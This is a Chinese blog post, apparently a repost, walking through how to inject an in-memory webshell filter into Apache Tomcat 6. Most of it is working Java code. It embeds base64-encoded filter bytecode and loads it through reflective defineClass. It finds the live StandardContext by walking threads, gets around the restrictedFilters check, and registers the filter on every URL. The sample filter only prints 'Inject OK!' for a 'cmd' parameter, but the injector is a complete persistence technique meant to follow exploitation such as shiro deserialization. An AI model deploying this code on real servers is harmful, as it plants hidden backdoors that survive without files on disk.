51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

Tomcat6 注入内存马

前言

和大哥们学新的姿势,感觉自己已经变成idea的性状了,这里的大哥说话又好听,我超喜欢这里的.jpg
以下是参考(抄袭)文章列表
怎么说呢,这几周玩了下java,大概也有点感觉了,打内存马就和win32寻址一样。

首先先解决在哪里打,也就是获取上下文standardContext,在栈上寻址找到这个地址,哦不对,在java中应该叫做对象。

然后再基于这个对象派生,找到管理filter的这些列表,正常程序流程访问网页肯定是先检查一个filter列表,看看是否匹配,匹配就丢给filter处理,然后filter处理完再往下丢给servlet/controller这些处理。我们要做的就是找到那个filter列表的地址,然后想办法把我们的内存马加进去

怎么加呢?那肯定就是得先找到注册函数,把我们内存马注册成一个filter,依旧是从栈上派生出来,还是一个寻址问题。总体感觉jvav大差不差,还是能理解的。

当然,理解是一回事,真的要我写一套完整项目,那就是另一回事了.jpg

注意点

线程加载问题 {#toc_0}

加载Filter Class的时候,不能用系统ClassLoader,得用当前线程的Loader,不然会报找不到org.servlet.Filter

Method defineClass = 
ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);defineClass.setAccessible(true);
byte[] code = {};
Class filter = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(),code,0,code.length);
Object testFilter = filter.newInstance();

得用Thread.currentThread().getContextClassLoader(),不能用ClassLoader.getSystemClassLoader(),MD就被这个坑了一天。

同样还是线程加载问题 {#toc_1}

如果类似注入点的地方获取不到线程,或者是由其他线程创建的,比如如果在tomcat的Servlet中用ClassLoader.getSystemClassLoader()加载class(没错我就是这么干的),可以考虑用反射

Class<?> FilterDefClass = 
Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
Object filterDef = FilterDefClass.newInstance();

的方式强行加载,虽然没啥用。。但是之前被卡在线程那里太久了导致我把这些加载不到的都换成了

完整代码

运行流程,东抄抄西抄抄,先从利用shiro反序列化注入冰蝎内存马把Tomcat678抄出来,然后再从tomcat6、7、8、9内存马把注入流程抄出来,然后缝合一下,就好了

先把Filter代码打包成class

package com;

import java.io.IOException; import java.lang.reflect.InvocationTargetException; import javax.servlet.*;

public class testFilter implements Filter{ public testFilter() { }

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
    if (servletRequest.getParameter(&quot;cmd&quot;) != null){
        servletResponse.getWriter().write(&quot;Inject OK!&quot;);
    }
    filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}

}

然后编译注入器代码

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Properties;

public class TomcatMemShellInject { String uri; String serverName; Object standardContext;

public static byte[] base64Decode(String str) throws Exception {
    Class clazz;
    try {
        clazz = Class.forName(&quot;sun.misc.BASE64Decoder&quot;);
        return (byte[]) clazz.getMethod(&quot;decodeBuffer&quot;, String.class).invoke(clazz.newInstance(), str);
    } catch (Exception var3) {
        clazz = Class.forName(&quot;java.util.Base64&quot;);
        Object decoder = clazz.getMethod(&quot;getDecoder&quot;).invoke((Object) null);
        return (byte[]) decoder.getClass().getMethod(&quot;decode&quot;, String.class).invoke(decoder, str);
    }
}

private final static String filterName = &quot;TomcatMemShellInject&quot;;

public byte[] getContent(String filePath) throws IOException {
    File file = new File(filePath);
    long fileSize = file.length();
    if (fileSize &gt; Integer.MAX_VALUE) {
        System.out.println(&quot;file too big...&quot;);
        return null;
    }
    FileInputStream fi = new FileInputStream(file);
    byte[] buffer = new byte[(int) fileSize];
    int offset = 0;
    int numRead = 0;
    while (offset &lt; buffer.length
            &amp;&amp; (numRead = fi.read(buffer, offset, buffer.length - offset)) &gt;= 0) {
        offset += numRead;
    }
    // 确保所有数据均被读取
    if (offset != buffer.length) {
        throw new IOException(&quot;Could not completely read file &quot;
                + file.getName());
    }
    fi.close();
    return buffer;
}

public TomcatMemShellInject() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException, IOException {
    Tomcat678();
    try {
        Method defineClass = ClassLoader.class.getDeclaredMethod(&quot;defineClass&quot;, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        String result = &quot;yv66vgAAADIATAoADAAoCQApACoIABsKACsALAgALQsALgAvCwAwADEIADIKADMANAsANQA2BwA3BwA4BwA5AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL3Rlc3RGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAOgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAkdGVzdEZpbHRlci5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAOAA8HADwMAD0APgcAPwwAQABBAQADY21kBwBCDABDAEQHAEUMAEYARwEACkluamVjdCBPSyEHAEgMAEkAQQcASgwAGwBLAQAOY29tL3Rlc3RGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWACEACwAMAAEADQAAAAQAAQAOAA8AAQAQAAAAMwABAAEAAAAFKrcAAbEAAAACABEAAAAKAAIAAAAJAAQACgASAAAADAABAAAABQATABQAAAABABUAFgACABAAAAA1AAAAAgAAAAGxAAAAAgARAAAABgABAAAADwASAAAAFgACAAAAAQATABQAAAAAAAEAFwAYAAEAGQAAAAQAAQAaAAEAGwAcAAIAEAAAAI0AAwAEAAAAKLIAAhIDtgAEKxIFuQAGAgDGAA8suQAHAQASCLYACbEtKyy5AAoDALEAAAADABEAAAAaAAYAAAATAAgAFAATABUAHgAWAB8AGAAnABkAEgAAACoABAAAACgAEwAUAAAAAAAoAB0AHgABAAAAKAAfACAAAgAAACgAIQAiAAMAIwAAAAMAAR8AGQAAAAYAAgAaACQAAQAlAA8AAQAQAAAAKwAAAAEAAAABsQAAAAIAEQAAAAYAAQAAABwAEgAAAAwAAQAAAAEAEwAUAAAAAQAmAAAAAgAn&quot;;
        byte[] code = base64Decode(result);
        ;
        Class filter = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), code, 0, code.length);
        Object testFilter = filter.newInstance();
        Class&lt;?&gt; FilterDefClass = Thread.currentThread().getContextClassLoader().loadClass(&quot;org.apache.catalina.deploy.FilterDef&quot;);
        Object filterDef = FilterDefClass.newInstance();
        FilterDefClass.getMethod(&quot;setFilterName&quot;, String.class).invoke(filterDef, filterName);
        Method addFilterDef = standardContext.getClass().getMethod(&quot;addFilterDef&quot;, FilterDefClass);
        addFilterDef.invoke(standardContext, filterDef);
        filterDef.getClass().getMethod(&quot;setFilterClass&quot;, String.class).invoke(filterDef, testFilter.getClass().getName());
        Class&lt;?&gt; FilterMapClass = Thread.currentThread().getContextClassLoader().loadClass(&quot;org.apache.catalina.deploy.FilterMap&quot;);
        Object filterMap = FilterMapClass.getConstructor(new Class[]{}).newInstance();
        String setFilterName = (String) FilterDefClass.getMethod(&quot;getFilterName&quot;).invoke(filterDef);
        FilterMapClass.getMethod(&quot;setFilterName&quot;, String.class).invoke(filterMap, setFilterName);
        FilterMapClass.getMethod(&quot;setDispatcher&quot;, String.class).invoke(filterMap, &quot;REQUEST&quot;);
        FilterMapClass.getMethod(&quot;addURLPattern&quot;, String.class).invoke(filterMap, &quot;/*&quot;);
        Method addFilterMap = standardContext.getClass().getDeclaredMethod(&quot;addFilterMap&quot;, FilterMapClass);
        addFilterMap.invoke(standardContext, filterMap);
        Object tmpFilterDef = FilterDefClass.newInstance();
        FilterDefClass.getMethod(&quot;setFilterClass&quot;, String.class).invoke(tmpFilterDef, &quot;org.apache.catalina.ssi.SSIFilter&quot;);
        FilterDefClass.getMethod(&quot;setFilterName&quot;, String.class).invoke(tmpFilterDef, filterName);
        Class&lt;?&gt; ContextClass = Thread.currentThread().getContextClassLoader().loadClass(&quot;org.apache.catalina.Context&quot;);
        Class&lt;?&gt; applicationFilterConfigClass = Thread.currentThread().getContextClassLoader().loadClass(&quot;org.apache.catalina.core.ApplicationFilterConfig&quot;);
        Constructor&lt;?&gt; applicationFilterConfigConstructor = applicationFilterConfigClass.getDeclaredConstructor(ContextClass, FilterDefClass);
        applicationFilterConfigConstructor.setAccessible(true);
        Properties properties = new Properties();
        properties.put(&quot;org.apache.catalina.ssi.SSIFilter&quot;, &quot;123&quot;);
        Field restrictedFiltersField = applicationFilterConfigClass.getDeclaredField(&quot;restrictedFilters&quot;);
        restrictedFiltersField.setAccessible(true);
        restrictedFiltersField.set(null, properties);
        Object filterConfig = applicationFilterConfigConstructor.newInstance(standardContext, tmpFilterDef);
        Field filterField = filterConfig.getClass().getDeclaredField(&quot;filter&quot;);
        filterField.setAccessible(true);
        filterField.set(filterConfig, testFilter);
        Field filterDefField = filterConfig.getClass().getDeclaredField(&quot;filterDef&quot;);
        filterDefField.setAccessible(true);
        filterDefField.set(filterConfig, filterDef);
        Class&lt;?&gt; StandardContextClass = Thread.currentThread().getContextClassLoader().loadClass(&quot;org.apache.catalina.core.StandardContext&quot;);
        Field filterConfigsField = StandardContextClass.getDeclaredField(&quot;filterConfigs&quot;);
        filterConfigsField.setAccessible(true);
        HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext);
        filterConfigs.put(filterName, filterConfig);
        filterConfigsField.set(standardContext, filterConfigs);
        System.out.println(&quot;Inject OK&quot;);
    } catch (NoSuchMethodException ex) {
        ex.printStackTrace();
    } catch (IllegalAccessException ex) {
        ex.printStackTrace();
    } catch (InvocationTargetException ex) {
        ex.printStackTrace();
    } catch (InstantiationException ex) {
        ex.printStackTrace();
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}

public Object getField(Object object, String fieldName) {
    Field declaredField;
    Class clazz = object.getClass();
    while (clazz != Object.class) {
        try {

            declaredField = clazz.getDeclaredField(fieldName);
            declaredField.setAccessible(true);
            return declaredField.get(object);
        } catch (Exception e) {
            // field不存在,错误不抛出,测试时可以抛出
        }
        clazz = clazz.getSuperclass();
    }
    return null;
}

public void getStandardContext() {
    Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), &quot;threads&quot;);
    Object object;
    for (Thread thread : threads) {
        if (thread == null) {
            continue;
        }
        // 过滤掉不相关的线程
        if (!thread.getName().contains(&quot;StandardEngine&quot;)) {
            continue;
        }

        Object target = this.getField(thread, &quot;target&quot;);
        if (target == null) {
            continue;
        }
        HashMap children;

        try {
            children = (HashMap) getField(getField(target, &quot;this$0&quot;), &quot;children&quot;);
            //org.apache.catalina.core.StandardHost standardHost = (org.apache.catalina.core.StandardHost) children.get(this.serverName);
            children = (HashMap) getField(children.get(this.serverName), &quot;children&quot;);
            Iterator iterator = children.keySet().iterator();
            while (iterator.hasNext()) {
                String contextKey = (String) iterator.next();
                if (!(this.uri.startsWith(contextKey))) {
                    continue;
                }
                // /spring_mvc/home/index startsWith /spring_mvc
                //StandardContext standardContext =  children.get(contextKey);
                System.out.println(children.get(contextKey).getClass().getName());
                this.standardContext = children.get(contextKey);

                System.out.println(&quot;here&quot;);
                // 添加内存马
                return;
            }
        } catch (Exception e) {
            continue;
        }
        if (children == null) {
            continue;
        }
    }
}

public void Tomcat678() {


    Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), &quot;threads&quot;);
    Object object;
    for (Thread thread : threads) {

        if (thread == null) {
            continue;
        }
        if (thread.getName().contains(&quot;exec&quot;)) {
            continue;
        }
        Object target = this.getField(thread, &quot;target&quot;);
        if (!(target instanceof Runnable)) {
            continue;
        }

        try {
            object = getField(getField(getField(target, &quot;this$0&quot;), &quot;handler&quot;), &quot;global&quot;);
        } catch (Exception e) {
            continue;
        }
        if (object == null) {
            continue;
        }
        java.util.ArrayList processors = (java.util.ArrayList) getField(object, &quot;processors&quot;);
        Iterator iterator = processors.iterator();
        while (iterator.hasNext()) {
            Object next = iterator.next();

            Object req = getField(next, &quot;req&quot;);
            Object serverPort = getField(req, &quot;serverPort&quot;);
            if (serverPort.equals(-1)) {
                continue;
            }
            // 不是对应的请求时,serverPort = -1
            System.out.println(getField(req, &quot;serverNameMB&quot;).getClass().getName());
            //org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, &quot;serverNameMB&quot;);
            this.serverName = (String) getField(getField(req, &quot;serverNameMB&quot;), &quot;strValue&quot;);
            if (this.serverName == null) {
                this.serverName = getField(req, &quot;serverNameMB&quot;).toString();
            }

// if (this.serverName == null){ // this.serverName = serverNameMB.getString(); // }

            //org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, &quot;decodedUriMB&quot;);
            this.uri = (String) getField(getField(req, &quot;decodedUriMB&quot;), &quot;strValue&quot;);
            if (this.uri == null) {
                this.uri = getField(req, &quot;decodedUriMB&quot;).toString();
            }

// if (this.uri == null){ // this.uri = uriMB.getString(); // }

            this.getStandardContext();
            return;
        }
    }
}

}

赞(6)
未经允许不得转载:工具盒子 » Tomcat6 注入内存马